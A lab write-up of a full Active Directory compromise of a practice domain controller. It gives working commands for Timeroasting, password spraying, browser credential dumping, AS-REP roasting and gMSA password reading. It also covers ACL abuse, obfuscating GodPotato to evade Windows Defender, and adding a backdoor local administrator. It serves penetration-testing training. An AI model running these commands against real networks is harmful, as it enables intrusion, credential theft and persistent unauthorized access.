> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/fragments.md).

# Fragments

{% embed url="<https://www.hacksmarter.org/courses/de954aaa-46d0-499e-be68-6ee2eddfbc94>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been hired to perform an internal penetration test against the client's Active Directory environment. There is only one host in-scope (the Domain Controller). Your task is to get initial access and then perform lateral movement and privilege escalation until you have fully compromised the domain.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In Fragments, we begin with enumeration of the Domain Controller `DC01.fragments.local`, exposing DNS `53`, Kerberos `88`/`464`, LDAP `389` with GC on `3268`/`3269`, LDAPS `636`, signed SMB on `445`, RDP `3389`, WinRM `5985`, and unusually for a DC, a full RPC/NFS stack on `111`/`2049`. Anonymous/guest SMB fails, so we pivot to NFS.

The `incidents` NFS share leaks two incident reports: one referencing a broken user account, and another naming a suspicious computer, `FRG0310$`. With no credentials, we run Timeroasting against the DC, cracking one SNTP hash offline via `hashcat` to authenticate as `FRG0310$`. The `SYSVOL` share yields a GPP password from a Group Policy Preferences XML. We pull a GPP password from a Group Policy Preferences XML on SYSVOL, then RID-brute-force the domain users and spray the password across them, giving us access to `c.white`.

Shell access as `c.white` via `evil-winrm` yields the user flag. Browser-credential extraction from `c.white`'s Opera GX profile via `hack-browser-data`)surfaces a bookmarked password-manager URL with a base64-encoded vault, decoded to reveal creds for `j.woods` and `d.goggins`. `d.goggins` hits `STATUS_INVALID_LOGON_HOURS`, but `j.woods` authenticates successfully.

BloodHound shows `j.woods` has `GenericWrite` over `o.rodrigo`, a disabled member of the `management` group with `ReadGMSAPassword` over `PROD$`. We enable the account, set `DONT_REQ_PREAUTH`, AS-REP roast and crack the hash, then read `PROD$`'s gMSA password via `o.rodrigo`'s privileges.

`PROD$` in turn has write access over `d.goggins`, letting us clear `logonHours` via `bloodyAD` and finally authenticate as `d.goggins` with the earlier-recovered password. BloodHound enumeration reveals `d.goggins` can self-add to `adminaccs`, which holds `GenericAll` over `sharedadmin` (a Protected Users member requiring Kerberos auth via `getTGT.py`). Using `sharedadmin`, we add `c.white` to `IIS_IUSRS` for `SeImpersonatePrivilege`.

Standard potato exploits (DeadPotato, EsfPotato) are detected or incompatible, so we obfuscate GodPotato into `BobTato` using `InvisibilityCloak`, evading Defender. `BobTato.exe` creates a local admin, `bob`, granting `evil-winrm` DC access and the root flag at `C:\Users\Administrator\Desktop\root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.21.34 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.157.17 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/B48lXTvsq9JTLFAUniQs" alt=""><figcaption></figcaption></figure>

The target `10.1.157.17` is a Domain Controller `DC01.fragments.local` for the domain `fragments.local`. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP is available on port `389`, with the Global Catalog on ports `3268` and `3269`, and LDAPS is also open on port `636`. SMB is exposed via port `445` only, with message signing enabled and required. Unusually for a DC, RPC/NFS services are also exposed, with `rpcbind` on port `111` and a full NFS stack (`nfs`, `mountd`, `nlockmgr`, `status`) on port `2049`. Remote management and access are available through RDP on port `3389` (leaking NetBIOS domain `FRAGMENTS`, hostname `DC01`, and OS build `10.0.26100`) and WinRM on port `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `49686`, and numerous additional MSRPC endpoints on ports `135`, `49664`, `49678`, `49679`, `49682`, `49685`, `49718`, `49742`, and `49753`.&#x20;

<figure><img src="/files/L0HDRfNXq4t2ftZlwmhR" alt=""><figcaption></figcaption></figure>

### SMB

We try to authenticate anonymously and via `guest` against SMB using NetExec, but without success. The account is disabled. Nevertheless, we generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.157.17 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/8bOSGQdV5adDQKb9hQZc" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.157.17     DC01.fragments.local fragments.local DC01
```

{% endcode %}

### NFS

We'll start by focusing on the unusual discovery of an NFS share on the domain controller. It contains an `incidents` folder.

{% code overflow="wrap" expandable="true" %}

```
showmount -e DC01.fragments.local
```

{% endcode %}

<figure><img src="/files/jwF3svHwGodqq05rSSmJ" alt=""><figcaption></figcaption></figure>

We'll mount this and retrieve the files.

{% code overflow="wrap" expandable="true" %}

```
mkdir /mnt/incidents
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
mount -t nfs DC01.fragments.local:/incidents /mnt/incidents
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ls /mnt/incidents/
```

{% endcode %}

<figure><img src="/files/chKLumtw4pSN6dcnPNTq" alt=""><figcaption></figcaption></figure>

Incident `IR_20260122_ACC` reveals that a user account is no longer functioning properly following a change. The account may have had permissions revoked, been added to a specific group, disabled, or been deleted. Let's see if this will still be useful information.

{% code overflow="wrap" expandable="true" %}

```
cat /mnt/incidents/IR_20260122_ACC.log
```

{% endcode %}

<figure><img src="/files/N2WLEitYUqV3EWISVt2Q" alt=""><figcaption></figcaption></figure>

Incident `IR_20260202_FRG0310` is more interesting. It reveals that a security alert was triggered: a computer with the hostname `FRG0310` exhibited suspicious behavior and several unsuccessful authentication attempts were observed. At least we have a computer name now: `FRG0310$`

{% code overflow="wrap" expandable="true" %}

```
cat /mnt/incidents/IR_20260202_FRG0310.log
```

{% endcode %}

<figure><img src="/files/els22siKhbhCM9djyd8b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
System: FRG0310.fragments.local
```

{% endcode %}

## Access as FRG0310$

Since we do not have any credentials yet we try every technique listed from the orange cyber defense mindmap. With the classics like blind kerberoasting, we get nothing. But we have some success with Timeroasting.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/pvOubjN6Dl4dhn6tKXXn" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/roasting/timeroast#unauthenticated-timeroasting>" %}

> Timeroasting is an attack technique that abuses Microsoft's proprietary NTP extension to extract password-equivalent hashes for computer and trust accounts from domain controllers without requiring authentication. These hashes can subsequently be cracked offline.
>
> Domain-joined computers synchronize their system clocks using NTP, with domain controllers acting as authoritative time sources. To address NTP's lack of authentication, Microsoft implemented a custom extension that cryptographically authenticates NTP responses using computer account credentials.
>
> When a computer requests time synchronization, it includes its computer account's RID (Relative Identifier) in the NTP request. The domain controller responds with a Message Authentication Code (MAC) computed using the computer account's NTLM hash as the key. This design allows unauthenticated clients to request salted password hashes for any computer account in the domain by specifying different RID values.

A nice article about Timeroasting can be found here:&#x20;

{% embed url="<https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac>" %}

Via Timeroasting we are able to retrieve three SNTP hashes that can we try to crack using Hashcat mode `31300`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.157.17 -M timeroast
```

{% endcode %}

<figure><img src="/files/RnaGSQyK3JOR3niXoeGM" alt=""><figcaption></figcaption></figure>

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="/files/mRKVK728iXdzZIke6xLg" alt=""><figcaption></figcaption></figure>

Unfortunately my version installed was too old and did not support the mode.

<figure><img src="/files/d3tyNgPzolHYwBtAdicx" alt=""><figcaption></figcaption></figure>

For convinience I switched to my Windows host wich had hashcat v7.1.2 already present. We are able to crack the hash for the user with the RID `1103`.

```
 .\hashcat.exe --username -a0 -m31300 .\hashes.txt .\rockyou.txt
```

<figure><img src="/files/C2p5K9oIMywygtaWznnc" alt=""><figcaption></figcaption></figure>

Since we only have one valid machine account name from the incident reports we try to authenticate as `FRG0310$` and are successful.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.fragments.local -u 'FRG0310$' -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/dTPt9wnlwtG3OLOJpLn5" alt=""><figcaption></figcaption></figure>

We try to enumerate the shares, but on first sight we do not find anything interesting.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'FRG0310$' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/X0UOz63mJKj60fZMmx31" alt=""><figcaption></figcaption></figure>

But maybe the `SYSVOL` share contains something useful.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'fragments.local/FRG0310$:REDACTED@DC01.fragments.local'
```

{% endcode %}

<figure><img src="/files/vxxo8PCY6sq53yDwG4yh" alt=""><figcaption></figcaption></figure>

## Access as c.white

Besides scripts the `SYSVOL` share could also contain passwords in the policies:

{% embed url="<https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-group-policy-preferences/>" %}

And we acually find something that looks like a password in the description of the following policy.

{% code overflow="wrap" expandable="true" %}

```
/fragments.local/Policies/{EDFFE4E4-762D-47E5-85E7-B52950A90149}/Machine/Preferences/Groups/Groups.xml
```

{% endcode %}

<figure><img src="/files/Ek7VX3D4cJTN5FFjvEW2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xnz2c4iCHlZhEYD3s3d0" alt=""><figcaption></figcaption></figure>

We could also make use of the `gpp_password` module of NetExec to look for passwords automatically.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'FRG0310$' -p 'REDACTED' -M gpp_password
```

{% endcode %}

<figure><img src="/files/9BLK9rfut5ut9mDm2pq2" alt=""><figcaption></figcaption></figure>

Next, we enumerate some users via a RID brute force.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'FRG0310$' -p 'REDACTED' --rid
```

{% endcode %}

<figure><img src="/files/y4VEzGwLi2kQtnkfCllG" alt=""><figcaption></figcaption></figure>

We create a wordlist of users...

{% code overflow="wrap" expandable="true" %}

```
grep SidTypeUser netexec-result.txt | sed 's/.*\\//;s/ (SidTypeUser)//' > users.txt
```

{% endcode %}

<figure><img src="/files/ruGhzCFq6zBbX0F5OwWv" alt=""><figcaption></figcaption></figure>

{% code title="users.txt" overflow="wrap" %}

```
Administrator
Guest
krbtgt
DC01$
FRG0310$
PROD$
o.rodrigo
j.woods
d.goggins
c.white
sharedadmin
```

{% endcode %}

... and perform a password spray via NetExec. We got access as `c.white`.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.fragments.local -u users.txt -p 'REDACTED' --continue-on-success | grep '[+]'
```

{% endcode %}

<figure><img src="/files/repSP1GaM48wCtz5MvWp" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Since we now have a machine account and a user we run our first BloodHound enumeration.

{% code overflow="wrap" expandable="true" %}

```
 bloodhound-ce.py -u 'FRG0310$' -p 'REDACTED' -d fragments.local -dc DC01.fragments.local -ns 10.1.157.17 -c All --zip 
```

{% endcode %}

<figure><img src="/files/bV59IHEowl8ibhIDEu9G" alt=""><figcaption></figcaption></figure>

The machine account `FRG0310` has no special privileges.

<figure><img src="/files/XI74Ji9cyDSgtndPMl8Y" alt=""><figcaption></figcaption></figure>

We see that `c.white` is member of the `remotemgmt` group, which is member of the `remote management users` group which would allow us to get a shell using evil-winrm. For now we do not see any other interesting group memberships or privileges. So we continue trying to get an interactive shell.

<figure><img src="/files/VCzWwU2NrYrrbPYjrUI7" alt=""><figcaption></figcaption></figure>

## Shell as c.white

We can connect as `c.white` via evil-winrm and find the users flag at `C:\Users\c.white\Desktop\user.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.fragments.local -u c.white -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/tTR3FaRqqV1hCBkyiVqQ" alt=""><figcaption></figcaption></figure>

We enumerate the target machine but do not find any services, scheduled tasks or special permissions to abuse.

<figure><img src="/files/jvTFTNEpQB8uLEhFtG78" alt=""><figcaption></figcaption></figure>

## Access as j.woods

We continue to enumerate the target and see that Opera GX is installed.

<figure><img src="/files/lplOO7pBVmNB0lMDew8Z" alt=""><figcaption></figcaption></figure>

We try to dump the browsers secrets using the tool we used for the scenario NovaForge, but without success. We do not find any credentials.

{% embed url="<https://github.com/Maldev-Academy/DumpBrowserSecrets>" %}

Next, we research a bit and find another tool that is capable of extracting and decrypting the browsers data. There may be more.

{% embed url="<https://github.com/moond4rk/HackBrowserData>" %}

We upload the tool...

{% code overflow="wrap" expandable="true" %}

```
upload hack-browser-data.exe
```

{% endcode %}

<figure><img src="/files/OthQshL6PV2gzZQnikOr" alt=""><figcaption></figcaption></figure>

..and run it with the `-h` parameter to see how to use it.

{% code overflow="wrap" expandable="true" %}

```
.\hack-browser-data.exe -h
```

{% endcode %}

<figure><img src="/files/EUkYxp82Lsd8BoKMxJVv" alt=""><figcaption></figcaption></figure>

We use it as follows.

The `-b` flag specifies the target browser, `-d` specifies the output directory, and `-p` specifies the profile path.

{% code overflow="wrap" expandable="true" %}

```
.\hack-browser-data.exe -b opera-gx -d . -p 'C:\Users\c.white\AppData\Roaming\Opera GX Stable'
```

{% endcode %}

<figure><img src="/files/8z2wNSBkY6h1mhCuMXmc" alt=""><figcaption></figcaption></figure>

We spot a `bookmark` that points to a URL resolving to a password manager: `passwordmgmt.fragments.local`, with the vault database base64-encoded in the `vaultDATA` GET parameter.

{% code overflow="wrap" expandable="true" %}

```
cat bookmark.json
```

{% endcode %}

<figure><img src="/files/gfCVYF1DiPV1BBJCek2B" alt=""><figcaption></figcaption></figure>

We pass the base64-encoded data to CyberChef to decode it and identify two sets of credentials. One for `j.woods` and one for `d.goggins.`

<figure><img src="/files/xfBqzfkPgqUdnCbw9cqW" alt=""><figcaption></figcaption></figure>

We're trying to authenticate using the set of credentials of `d.goggins`, but we're getting a timeout via SMB. When we check via LDAP, we see that the logon hours don't match.

We receive the error message `STATUS_INVALID_LOGON_HOURS`.

The flag `STATUS_INVALID_LOGON_HOURS` means the account authenticated fine but hit AD's `logonHours` attribute restriction. The current time falls outside the allowed window. This has nothing to do with the password, so no need to touch that.

The `logonHours` is a 21-byte bitmask (168 bits = 7 days × 24 hours). If it's `NULL`/unset, logon is unrestricted by default.

As long as we don't have write permissions over this account, we can't overwrite it and gain access to it.&#x20;

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.fragments.local -u 'd.goggins' -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/inavytrJngCYIf2aeJhC" alt=""><figcaption></figcaption></figure>

But we can successfully authenticate ourselves as `j.woods`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'j.woods' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/ymI2OXyFYvf31T5Obrk2" alt=""><figcaption></figcaption></figure>

## Access as o.rodrigo

The user `j.woods` has no special permissions or group memberships in our BloodHound dataset.&#x20;

<figure><img src="/files/ZYchDJM4sa00iYavEOME" alt=""><figcaption></figcaption></figure>

As a last resort we enumerate the writable objects to identify an alternative path that is not covered in the BloodHound data. The user `j.woods` has write premissions overthe user `o.rodrigo`, which means we can modify that user's attributes.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u j.woods -p 'REDACTED' get writable
```

{% endcode %}

<figure><img src="/files/dvNqj4aNDfmdrdUl5Tzr" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=fragments,DC=local
permission: WRITE

distinguishedName: CN=Olivia OR. Rodrigo,CN=Users,DC=fragments,DC=local
permission: WRITE

distinguishedName: CN=John JW. Woods,CN=Users,DC=fragments,DC=local
permission: WRITE
```

{% endcode %}

We'll take a closer look in Bloodhound to assess whether this user and the uncovered permissions can help us expand our privileges.&#x20;

The user `o.rodrigo` is a member of the `management` group, which has  `ReadGMSA` permissions over `PROD$`. This means that if we can compromise `o.ordrigo`, we may be able to elevate our privileges further as `$PROD`. But we also notice that this user is not `enabled` and a direct path to compromise o.rodrigo is also not depicted in the data.

<figure><img src="/files/DqBX2qxvAzJurMVrohvb" alt=""><figcaption></figcaption></figure>

The idea is to first enable the account and then allow AS-REP roasting by setting `DONT_REQ_PREAUTH` using the write permission we possess. This allows us to perform an AS-REP roast and eventually gather the credentials of `o.rodrigo`.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/roasting/asreproast#practice>" %}

First, we enable the account...

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u j.woods -p 'REDACTED' remove uac o.rodrigo -f ACCOUNTDISABLE
```

{% endcode %}

<figure><img src="/files/cmAkh7N5voR4dR1coaWJ" alt=""><figcaption></figcaption></figure>

... and set the `DONT_REQ_PREAUTH` attribute.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u j.woods -p 'REDACTED' add uac o.rodrigo -f DONT_REQ_PREAUTH
```

{% endcode %}

<figure><img src="/files/7CJrif1fwDq88d8hfzAK" alt=""><figcaption></figcaption></figure>

We use NetExec for AS-REP Roasting and are able to extract the blob `o.rodrigo`.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.fragments.local -u 'j.woods' -p 'REDACTED' --asreproast ASREProastables.txt
```

{% endcode %}

<figure><img src="/files/CzyNe5ku78cicyVxDDJF" alt=""><figcaption></figcaption></figure>

We try to crack the blob using hashcat and retrieve the password.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m18200 ASREProastables.txt /usr/share/wordlists/rockyou.txt --show
```

{% endcode %}

<figure><img src="/files/xdiZXuaANlIJLKTvQtCF" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'o.rodrigo' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/tNhaCADQviHQMrDWDxEu" alt=""><figcaption></figcaption></figure>

## Access as PROD$

e recall the relationship discovered in BloodHound that `o.rodrigo` has `ReadGMSAPassword` permissions over `PROD$`. However, there is nothing more beyond that in BloodHound. Let's see what we can gather after getting access as `PROD$` through the `ReadGMSAPassword` permission, and check whether the service account possesses any writeable permissions.

<figure><img src="/files/vFDtHBUmB3FsE5aPWXnI" alt=""><figcaption></figcaption></figure>

We read the managed password of the gMSA account `PROD$` by querying its `msDS-ManagedPassword` attribute using our authorized access via `o.rodrigo`.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword#readgmsapassword>" %}

> This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's `msDS-GroupMSAMembership` attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.
>
> The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

We retrive the NT hash of `PROD$`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u o.rodrigo -p 'REDACTED' get object 'PROD$' --attr msDS-ManagedPassword
```

{% endcode %}

<figure><img src="/files/o9zQK5slz5nJVLG2Gndz" alt=""><figcaption></figcaption></figure>

We test the hash using NetExec and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'PROD$' -H 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/K8qQqtteP29yOIAZwneo" alt=""><figcaption></figcaption></figure>

## Access as d.goggins

We check the writable objects of `PROD$` and see that we have write permissions over `d.goggins`, which allows us to set the logon hours to gain access as that account.&#x20;

We had previously recovered the credentials for user `d.goggings` from the leaked password vault in the bookmarks of Opera GX, but we received the error message `STATUS_INVALID_LOGON_HOURS` and were previously unable to override it.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u 'PROD$' -p ':REDACTED' get writable
```

{% endcode %}

<figure><img src="/files/nFPCZiq7SDLH6Do0FlDg" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
distinguishedName: CN=TPM Devices,DC=fragments,DC=local
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=fragments,DC=local
permission: WRITE

distinguishedName: CN=PROD,CN=Managed Service Accounts,DC=fragments,DC=local
permission: WRITE

distinguishedName: CN=David DG. Goggins,CN=Users,DC=fragments,DC=local
permission: WRITE
```

{% endcode %}

The `Write` permission lets us clear it outright with bloodyAD's `set object` module. We authenticate with the hash of `PROD$`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u 'PROD$' -p ':REDACTED' set object d.goggins logonHours
```

{% endcode %}

<figure><img src="/files/JskOM9YysSMgwXqsucdv" alt=""><figcaption></figcaption></figure>

We try to authenticate as `d.goggins` using NetExec again, and we authenticate successfully.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u 'd.goggins' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/oYmHN1g3lPsTDYLVE8eV" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeratio II&#x20;

With access as `d.goggins`, we gain further opportunities to move laterally and expand our privileges. The user `d.goggins` is a member of the `soc` group, which has the permission `AddSelf` to add itself to the `adminaccs` group.

<figure><img src="/files/3AbKaAjIz4hmUWhmRtKQ" alt=""><figcaption></figcaption></figure>

The `adminaccs` group has GenericAll permission over the `sharedadmin` account, which allows us to take over that account by changing the user's password. However, this user is also a member of the Protected Users group, which would deny NTLM authentication.

<figure><img src="/files/4FtYzY88npAtOcifIauS" alt=""><figcaption></figcaption></figure>

And the sharedadmin account is member of the account operators group which has a bunch of GenericAll permissions over some users and groups. `Shortest path from Owned objects`

At first glance, there doesn't seem to be a way to become a Domain Admin here. At least, the query `Shortest path from Owned objects` or `Shortest path to Domain Admins` doesn't reveal this to us.&#x20;

However, two groups would allow us to do so. First, there's the `DNSADMINS` group. Using this path, you could try the following: Members of the DNSADMINS group are able to modify the DNS service, causing it to load an arbitrary DLL, but this seems to be patched:&#x20;

{% embed url="<https://notes.lfgberg.org/windows/privesc/DNSAdmins>" %}

Or alternatively, we could leverage the Account Operators Replicating Trust Attack (AORTA). AORTA is a technique in which members of the Account Operators group abuse Incoming Forest Trust Builders together with DNSAdmins privileges to create a forest trust with TGT delegation enabled,  allowing the compromise of the domain. This was uncovered by ahos6 and actuaL during QA and remains an additional task for the reader and myself, since I hadn't gotten far enough with it yet.

The other interesting group is the `IIS_IUSRS` group. Members of the `IIS_IUSRS` group have the `SeImpersonatePrivilege`. Since members of this group hold that privilege, we can escalate our privileges using a potato-style exploit, such as JuicyPotato or GodPotato.

<figure><img src="/files/i1WMY0e59wuQ2CjTmPpW" alt=""><figcaption></figcaption></figure>

## Access as sharedadmin

We follow the identified attack path around `d.goggins` and attempt to escalate to the `sharedadmin` account, then add a user who is a member of the Remote Management Users group - in this case, `c.white` - to the `IIS_IUSRS` group in order to escalate using `SeImpersonatePrivilege`.

We use bloodyAD to add `d.goggins` to the `adminaccs` group, adding ourselves to the administrative accounts group using the credentials we already compromised.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u 'd.goggins' -p 'REDACTED' add groupMember 'adminaccs' 'd.goggins'
```

{% endcode %}

<figure><img src="/files/cLWYmp4ZgDtJtohu1B5N" alt=""><figcaption></figcaption></figure>

We make use of the `GenericAll` permission over the `sharedamin` account and change the users password.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -u 'd.goggins' -p 'REDACTED' set password 'sharedadmin' 'Pwned123@!' 
```

{% endcode %}

<figure><img src="/files/pH8XhQGt4pOWV1yMjIyV" alt=""><figcaption></figcaption></figure>

Since the user is a member of the `Protected Users` group, they can't authenticate to services with a password directly, but we can request a ticket and then authenticate using that.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'fragments.local/sharedadmin:Pwned123@!'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=sharedadmin.ccache 
```

{% endcode %}

<figure><img src="/files/xcmmLn6je9FmqLuKzLol" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local --use-kcache --shares
```

{% endcode %}

<figure><img src="/files/xZKCT2iXPQQQRtGQq1Hb" alt=""><figcaption></figcaption></figure>

## Shell as bob (Local Administrator)

Now that we have access as `sharedadmin`, we add `c.white` to the `IIS_IUSRS` group.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.fragments.local -d fragments.local -k add groupMember 'iis_iusrs' 'c.white' 
```

{% endcode %}

<figure><img src="/files/uNs3NWBHzt3MczwKWm4w" alt=""><figcaption></figcaption></figure>

We get a new session using evil-winrm and see that we have now the `SeImpersonatePrivilege`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.fragments.local -u c.white -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/2WxTYECpMNHBNe4FVM9H" alt=""><figcaption></figcaption></figure>

We upload a potato exploit in this case DeadPotato which we used for another scenario and proofed quiet powerfull...

{% embed url="<https://github.com/lypd0/DeadPotato>" %}

{% code overflow="wrap" expandable="true" %}

```
upload DeadPotato-NET4.exe
```

{% endcode %}

<figure><img src="/files/zdFVk5f0lQQdLHQmP2Fd" alt=""><figcaption></figcaption></figure>

... but it gets detected by Windows Defender.

{% code overflow="wrap" expandable="true" %}

```
.\DeadPotato-NET4.exe
```

{% endcode %}

<figure><img src="/files/7PwTEmnhgEO4G8ClEGoH" alt=""><figcaption></figcaption></figure>

So we need to bypass Windows Defender now.&#x20;

The first attempt was to compile EsfPotato on the machine; this worked, it did not get detected, but  the exploit didn't work on this current version of Windows.

The next attempt was to establish a connection to Sliver C2 via a session and, from there, load the executable directly using `execute-assembly`. This wasn't detected at first, but the process was aborted during execution by Windows and didn't work.

Alternatively, we could have tried other C2s like Adaptix, but in this case, we're taking the somewhat cumbersome yet still quick route of obfuscation.

However, I needed a Windows VM to compile the project.

Lainkusanagi from our community has published a great article on Medium about the obfuscation of a potato exploit, in which he obfuscated the project of GodPotato by using a few scripts. We follow this blog.

{% embed url="<https://medium.com/@luisgerardomoret_69654/modifying-godpotato-to-evade-antivirus-f066aa779cf9>" %}

For this we need the tool InvisibilityCloak...

{% embed url="<https://github.com/h4wkst3r/InvisibilityCloak>" %}

... and the source of the GodPotato exploit.

{% embed url="<https://github.com/BeichenDream/GodPotato>" %}

We open the project file `GodPotato.csproj` in Visual Studio and save it as `GodPotato.sln`. We might need to migrate the project to .NET 4.8.&#x20;

Next, all comments needs to be removed from the project like depicted in the blog so the InvisibilityCloak script does not fail.&#x20;

<figure><img src="/files/qVX4TG8D3yGNbhr5DZ3q" alt=""><figcaption></figcaption></figure>

After having saved the `.sln` file and removed the comment we close visual studio.

Finally, we use the InvisibilityCloak Python script to rename the project and modify strings according to our chosen method.

We run the InvisibilityCloak script against the GodPotato directory, renaming the project to `BobTato` and applying the reverse obfuscation method.

```
python InvisibilityCloak.py -d ..\GodPotato -n BobTato -m reverse
```

We notice that the `.csproj` file had its output type set to `Library` instead of `Exe`. This needs to be corrected by `BobTato.csproj` to ensure the project compiled as an executable.

```
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{e1715497-ec31-40eb-8158-b689e2847563}</ProjectGuid>
    <OutputType>Exe</OutputType>
```

Next, we open the project in visual studio and compile the project in visual studio and end up with our very own BobTato potato exploit.

We upload the BobTato exploit and run a whoami command. We do not receive the output, but we see that it does not get detected.

{% code overflow="wrap" expandable="true" %}

```
upload BobTato.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
.\BobTato.exe -cmd "cmd /c whoami"
```

{% endcode %}

<figure><img src="/files/eKJnUuX7nUw2cwn1E0FA" alt=""><figcaption></figcaption></figure>

Next, we execute `BobTato.exe` to add a local user account,...

{% code overflow="wrap" expandable="true" %}

```
.\BobTato.exe -cmd "net user bob Pwned123@! /add"
```

{% endcode %}

<figure><img src="/files/Lbp0sgBma5hC88GnhnlR" alt=""><figcaption></figcaption></figure>

... and then make it a local administrator.

{% code overflow="wrap" expandable="true" %}

```
.\BobTato.exe -cmd "net localgroup Administrators bob /add"
```

{% endcode %}

